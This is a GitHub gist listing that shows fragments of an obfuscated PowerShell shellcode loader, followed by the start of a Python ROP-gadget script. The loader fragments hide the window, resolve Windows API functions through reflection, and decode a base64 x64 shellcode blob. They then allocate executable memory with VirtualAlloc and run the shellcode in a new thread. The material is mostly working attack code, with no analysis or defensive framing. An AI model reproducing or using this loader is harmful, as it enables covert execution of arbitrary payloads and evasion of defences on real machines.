JohnHammond’s gists

JohnHammond / powershell_quiet.ps1

Created May 3, 2021 23:08

	$s.UseShellExecute=$false;
	$s.RedirectStandardOutput=$true;
	$s.WindowStyle='Hidden';
	$s.CreateNoWindow=$true;

JohnHammond / base64_blob.txt

Last active January 6, 2023 19:40

	H4sIAAb/EF0CA7VWa2+bSBT9nEj5D6iyBCjExombNpEqLdgmhhrHBD9iu9YKwwBTj4HC4Jh0+9/3jg1p
	qqS77UqLbDGP+zz3zFz8PHIpjiMuu+1xX0+Oj4ZO6mw4oRa/u5C4GnZvxaMjWK49GhfcB05YKEnSiTcO
	jpbX1+08TVFED/P6DaJKlqHNimCUCSL3FzcNUYrOblefkUu5r1ztz/oNiVcOKcWKtuOGiDtTIo/t9WPX
	YaHU7YRgKvCfPvHi4qy5rHe/5A7JBN4uMoo2dY8QXuS+iczhqEiQwJvYTeMs9ml9iqOL8/o4yhwfDcDa
	FpmIhrGX8SIkAb8U0TyNOJYO0z/sCjwMh2nsKp6XoizjJW7BLC+Wyz+ERen2Lo8o3qC6HlGUxomN0i12
	UVbvOZFH0B3yl6Bl0xRHwVIUQWwbr5FQi3JCJO53zAgD9FCB9qtKwnMlkBrSVJSgii/TNGMvJ+igyL8S
	Jyu8CE9ZfIDt28nxybFf8WR1ZU6fEwVGR4v9GEFswjDO8F7uAydLnAluHBqnBUxrozRH4vIJWa7mIzxI
	pZ8baFbSIBs/3K/nsLaYxNhbgk5Zz1roPIxabOPnxOwgH0eoU0TOBrsV94TXYEY+Qfs065XYAMIS+HID
	eR1EUOBQhhyr9gu17gbTJ101x8RDqeJCqTKICqoo/hjMoRgCr0cm2gBMhznQr+YD41ElXbK8qLyzOQjx
	beJkmcQNczhyrsTZyCHIkzglynC5peQ03g/57+GaOaHYdTJamVuKT0CWDttxlNE0d6F0kPzITpCLHcKw

JohnHammond / powershell_other_stage.ps1

Created May 3, 2021 23:09

	function sOH {
	Param ($o73, $icO)
	$zJ3 = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

	return $zJ3.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zJ3.GetMethod('GetModuleHandle')).Invoke($null, @($o73)))), $icO))
	}

	function b9MW {
	Param (
	[Parameter(Position = 0, Mandatory = $True)] [Type[]] $feiNr,

JohnHammond / powershell_gunpowder.ps1

Created May 3, 2021 23:09

	function sOH {
	Param ($o73, $icO)
	$zJ3 = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

	return $zJ3.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zJ3.GetMethod('GetModuleHandle')).Invoke($null, @($o73)))), $icO))
	}

JohnHammond / powershell_winapi.ps1

Created May 3, 2021 23:10

	function call_win32_api_function {
	Param ($function_name, $arguments)

JohnHammond / powershell_reflection.ps1

Created May 3, 2021 23:10

	function b9MW {
	Param (
	[Parameter(Position = 0, Mandatory = $True)] [Type[]] $feiNr,
	[Parameter(Position = 1)] [Type] $owXkZ = [Void]
	)

	$hawT4 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$hawT4.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $feiNr).SetImplementationFlags('Runtime, Managed')
	$hawT4.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $owXkZ, $feiNr).SetImplementationFlags('Runtime, Managed')

JohnHammond / powershell_shellcode.ps1

Last active March 11, 2023 09:18

	[Byte[]]$bUMJ = [System.Convert]::FromBase64String("/EiB5PD////ozAAAAEFRQVBSUVZI
	MdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBm
	gXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1B
	AcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wg
	QVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSDHAUFBJvAIALLcAAAAAQVRJ
	ieRMifFBukx3Jgf/1UyJ6mgBAQAAWUG6KYBrAP/VagJZUFBNMclNMcBI/8BIicJBuuoP3+D/1UiJx2oQ
	QVhMieJIiflBusLbN2f/1Ugx0kiJ+UG6t+k4///VTTHASDHSSIn5Qbp07Dvh/9VIiflIicdBunVuTWH/
	1UiBxLACAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//VSIPEIF6J9mpAQVloABAAAEFYSInySDHJQbpY
	pFPl/9VIicNJicdNMclJifBIidpIiflBugLZyF//1UgBw0gpxkiF9nXhQf/nWGoAWbvgHSoKQYna/9U=
	"

JohnHammond / powershell_runner.ps1

Created May 3, 2021 23:11

	$sC6US = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll VirtualAlloc), (b9MW @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $bUMJ.Length,0x3000, 0x40)
	[System.Runtime.InteropServices.Marshal]::Copy($bUMJ, 0, $sC6US, $bUMJ.length)

JohnHammond / powershell_invoke.ps1

Created May 3, 2021 23:11

	$t6Y = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll CreateThread), (b9MW @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$sC6US,[IntPtr]::Zero,0,[IntPtr]::Zero)

	[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll WaitForSingleObject), (b9MW @([IntPtr], [Int32]))).Invoke($t6Y,0xffffffff) \| Out-Null

JohnHammond / rop_ripper.py

Created June 20, 2021 14:42

	#!/usr/bin/env python3

	"""
	# NOTE, you must change the filename below for the rp++ output you want to process.
	# This script does not take arguments in its current form. Sorry!
	"""

	import re

	from pwn import p32, u32

John Hammond JohnHammond